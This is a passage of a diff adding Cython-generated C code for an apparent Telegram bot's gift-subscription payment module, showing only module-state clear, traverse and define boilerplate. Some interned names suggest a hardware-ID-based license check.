Py_CLEAR(clear_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_3); + Py_CLEAR(clear_module_state->__pyx_int_4); + Py_CLEAR(clear_module_state->__pyx_int_30); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__8); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_tuple__45); + Py_CLEAR(clear_module_state->__pyx_tuple__48); + Py_CLEAR(clear_module_state->__pyx_tuple__49); + Py_CLEAR(clear_module_state->__pyx_tuple__50); + Py_CLEAR(clear_module_state->__pyx_tuple__51); + Py_CLEAR(clear_module_state->__pyx_tuple__52); + Py_CLEAR(clear_module_state->__pyx_tuple__53); + Py_CLEAR(clear_module_state->__pyx_tuple__54); + Py_CLEAR(clear_module_state->__pyx_tuple__55); + Py_CLEAR(clear_module_state->__pyx_tuple__57); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__21); + Py_CLEAR(clear_module_state->__pyx_codeobj__25); + Py_CLEAR(clear_module_state->__pyx_codeobj__32); + Py_CLEAR(clear_module_state->__pyx_codeobj__39); + Py_CLEAR(clear_module_state->__pyx_codeobj__56); + Py_CLEAR(clear_module_state->__pyx_ustring__22); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_kp_u_1); + Py_VISIT(traverse_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_CLIENT_CODE); + Py_VISIT(traverse_module_state->__pyx_n_u_CRYPTOSALE); + Py_VISIT(traverse_module_state->__pyx_n_s_ClientSession); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_kp_u_None); + Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_VISIT(traverse_module_state->__pyx_n_s_RENEWAL_PRICES); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_kp_u_SELECT_gift_id_selected_months_i); + Py_VISIT(traverse_module_state->__pyx_n_s_STARS_ROUTER); + Py_VISIT(traverse_module_state->__pyx_n_u_Windows); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_n_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_n_u__14); + Py_VISIT(traverse_module_state->__pyx_n_u__15); + Py_VISIT(traverse_module_state->__pyx_n_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__27); + Py_VISIT(traverse_module_state->__pyx_kp_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_kp_u__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__34); + Py_VISIT(traverse_module_state->__pyx_kp_u__36); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__40); + Py_VISIT(traverse_module_state->__pyx_kp_u__42); + Py_VISIT(traverse_module_state->__pyx_kp_u__43); + Py_VISIT(traverse_module_state->__pyx_kp_u__44); + Py_VISIT(traverse_module_state->__pyx_n_s__46); + Py_VISIT(traverse_module_state->__pyx_kp_u__47); + Py_VISIT(traverse_module_state->__pyx_n_s__58); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_n_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_aenter); + Py_VISIT(traverse_module_state->__pyx_n_s_aexit); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_kp_u_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_4); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_code); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_check_output); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_kp_u_code); + Py_VISIT(traverse_module_state->__pyx_n_u_code_2); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_kp_u_confirm_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_kp_u_d_m_Y_H_M); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_datetime); + Py_VISIT(traverse_module_state->__pyx_n_s_days); + Py_VISIT(traverse_module_state->__pyx_n_s_decode); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_encode); + Py_VISIT(traverse_module_state->__pyx_n_s_enter); + Py_VISIT(traverse_module_state->__pyx_kp_u_etc_machine_id); + Py_VISIT(traverse_module_state->__pyx_n_s_exit); + Py_VISIT(traverse_module_state->__pyx_n_s_expiry_time); + Py_VISIT(traverse_module_state->__pyx_n_u_expiry_time); + Py_VISIT(traverse_module_state->__pyx_n_s_f); + Py_VISIT(traverse_module_state->__pyx_n_s_fetch); + Py_VISIT(traverse_module_state->__pyx_n_s_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_from_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_get_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_get_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_s_gift); + Py_VISIT(traverse_module_state->__pyx_n_u_gift); + Py_VISIT(traverse_module_state->__pyx_kp_u_gift_2); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_id); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_gifts); + Py_VISIT(traverse_module_state->__pyx_n_u_gifts); + Py_VISIT(traverse_module_state->__pyx_n_s_gifts_text); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_gift_py); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_u_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hex); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_is_used); + Py_VISIT(traverse_module_state->__pyx_n_u_is_used); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_items); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_u_message); + Py_VISIT(traverse_module_state->__pyx_n_s_months); + Py_VISIT(traverse_module_state->__pyx_n_u_my_gifts); + Py_VISIT(traverse_module_state->__pyx_n_s_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_open); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_platform); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_price); + Py_VISIT(traverse_module_state->__pyx_n_u_profile); + Py_VISIT(traverse_module_state->__pyx_n_s_read); + Py_VISIT(traverse_module_state->__pyx_n_s_recipient); + Py_VISIT(traverse_module_state->__pyx_n_u_recipient_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_response); + Py_VISIT(traverse_module_state->__pyx_n_s_result); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_selected_months); + Py_VISIT(traverse_module_state->__pyx_n_u_selected_months); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_sha256); + Py_VISIT(traverse_module_state->__pyx_n_s_shell); + Py_VISIT(traverse_module_state->__pyx_n_s_show_alert); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_s_store_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_strftime); + Py_VISIT(traverse_module_state->__pyx_n_s_strip); + Py_VISIT(traverse_module_state->__pyx_n_s_subprocess); + Py_VISIT(traverse_module_state->__pyx_n_u_success); + Py_VISIT(traverse_module_state->__pyx_n_s_system); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_timedelta); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_user_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_utcnow); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_s_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_3); + Py_VISIT(traverse_module_state->__pyx_int_4); + Py_VISIT(traverse_module_state->__pyx_int_30); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__8); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_tuple__45); + Py_VISIT(traverse_module_state->__pyx_tuple__48); + Py_VISIT(traverse_module_state->__pyx_tuple__49); + Py_VISIT(traverse_module_state->__pyx_tuple__50); + Py_VISIT(traverse_module_state->__pyx_tuple__51); + Py_VISIT(traverse_module_state->__pyx_tuple__52); + Py_VISIT(traverse_module_state->__pyx_tuple__53); + Py_VISIT(traverse_module_state->__pyx_tuple__54); + Py_VISIT(traverse_module_state->__pyx_tuple__55); + Py_VISIT(traverse_module_state->__pyx_tuple__57); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__21); + Py_VISIT(traverse_module_state->__pyx_codeobj__25); + Py_VISIT(traverse_module_state->__pyx_codeobj__32); + Py_VISIT(traverse_module_state->__pyx_codeobj__39); + Py_VISIT(traverse_module_state->__pyx_codeobj__56); + Py_VISIT(traverse_module_state->__pyx_ustring__22); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code +#endif +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code +#define __pyx_kp_u_1 __pyx_mstate_global->__pyx_kp_u_1 +#define __pyx_kp_u_21U68SOLOBOT __pyx_mstate_global->__pyx_kp_u_21U68SOLOBOT +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_CLIENT_CODE __pyx_mstate_global->__pyx_n_s_CLIENT_CODE +#define __pyx_n_u_CRYPTOSALE __pyx_mstate_global->__pyx_n_u_CRYPTOSALE +#define __pyx_n_s_ClientSession __pyx_mstate_global->__pyx_n_s_ClientSession +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_kp_u_None __pyx_mstate_global->__pyx_kp_u_None +#define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE +#define __pyx_n_s_RENEWAL_PRICES __pyx_mstate_global->__pyx_n_s_RENEWAL_PRICES +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_kp_u_SELECT_gift_id_selected_months_i __pyx_mstate_global->__pyx_kp_u_SELECT_gift_id_selected_months_i +#define __pyx_n_s_STARS_ROUTER __pyx_mstate_global->__pyx_n_s_STARS_ROUTER +#define __pyx_n_u_Windows __pyx_mstate_global->__pyx_n_u_Windows +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_n_u__10 __pyx_mstate_global->__pyx_n_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_n_u__14 __pyx_mstate_global->__pyx_n_u__14 +#define __pyx_n_u__15 __pyx_mstate_global->__pyx_n_u__15 +#define __pyx_n_u__16 __pyx_mstate_global->__pyx_n_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 +#define __pyx_kp_u__29 __pyx_mstate_global->__pyx_kp_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 +#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 +#define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 +#define __pyx_kp_u__36 __pyx_mstate_global->__pyx_kp_u__36 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__40 __pyx_mstate_global->__pyx_kp_u__40 +#define __pyx_kp_u__42 __pyx_mstate_global->__pyx_kp_u__42 +#define __pyx_kp_u__43 __pyx_mstate_global->__pyx_kp_u__43 +#define __pyx_kp_u__44 __pyx_mstate_global->__pyx_kp_u__44 +#define __pyx_n_s__46 __pyx_mstate_global->__pyx_n_s__46 +#define __pyx_kp_u__47 __pyx_mstate_global->__pyx_kp_u__47 +#define __pyx_n_s__58 __pyx_mstate_global->__pyx_n_s__58 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_n_u__9 __pyx_mstate_global->__pyx_n_u__9 +#define __pyx_n_s_aenter __pyx_mstate_global->__pyx_n_s_aenter +#define __pyx_n_s_aexit __pyx_mstate_global->__pyx_n_s_aexit +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_kp_u_b __pyx_mstate_global->__pyx_kp_u_b +#define __pyx_kp_u_b_2 __pyx_mstate_global->__pyx_kp_u_b_2 +#define __pyx_kp_u_b_b __pyx_mstate_global->__pyx_kp_u_b_b +#define __pyx_kp_u_b_b_2 __pyx_mstate_global->__pyx_kp_u_b_b_2 +#define __pyx_kp_u_b_b_3 __pyx_mstate_global->__pyx_kp_u_b_b_3 +#define __pyx_kp_u_b_b_4 __pyx_mstate_global->__pyx_kp_u_b_b_4 +#define __pyx_kp_u_b_b_b __pyx_mstate_global->__pyx_kp_u_b_b_b +#define __pyx_kp_u_b_code __pyx_mstate_global->__pyx_kp_u_b_code +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_check_output __pyx_mstate_global->__pyx_n_s_check_output +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_kp_u_code __pyx_mstate_global->__pyx_kp_u_code +#define __pyx_n_u_code_2 __pyx_mstate_global->__pyx_n_u_code_2 +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_kp_u_confirm_gift __pyx_mstate_global->__pyx_kp_u_confirm_gift +#define __pyx_n_s_confirm_gift_handler __pyx_mstate_global->__pyx_n_s_confirm_gift_handler +#define __pyx_kp_u_d_m_Y_H_M __pyx_mstate_global->__pyx_kp_u_d_m_Y_H_M +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_datetime __pyx_mstate_global->__pyx_n_s_datetime +#define __pyx_n_s_days __pyx_mstate_global->__pyx_n_s_days +#define __pyx_n_s_decode __pyx_mstate_global->__pyx_n_s_decode +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_encode __pyx_mstate_global->__pyx_n_s_encode +#define __pyx_n_s_enter __pyx_mstate_global->__pyx_n_s_enter +#define __pyx_kp_u_etc_machine_id __pyx_mstate_global->__pyx_kp_u_etc_machine_id +#define __pyx_n_s_exit __pyx_mstate_global->__pyx_n_s_exit +#define __pyx_n_s_expiry_time __pyx_mstate_global->__pyx_n_s_expiry_time +#define __pyx_n_u_expiry_time __pyx_mstate_global->__pyx_n_u_expiry_time +#define __pyx_n_s_f __pyx_mstate_global->__pyx_n_s_f +#define __pyx_n_s_fetch __pyx_mstate_global->__pyx_n_s_fetch +#define __pyx_n_s_finalize_gift_handler __pyx_mstate_global->__pyx_n_s_finalize_gift_handler +#define __pyx_n_s_from_user __pyx_mstate_global->__pyx_n_s_from_user +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_balance __pyx_mstate_global->__pyx_n_s_get_balance +#define __pyx_n_s_get_gift_link __pyx_mstate_global->__pyx_n_s_get_gift_link +#define __pyx_n_s_get_hardware_id __pyx_mstate_global->__pyx_n_s_get_hardware_id +#define __pyx_n_s_gift __pyx_mstate_global->__pyx_n_s_gift +#define __pyx_n_u_gift 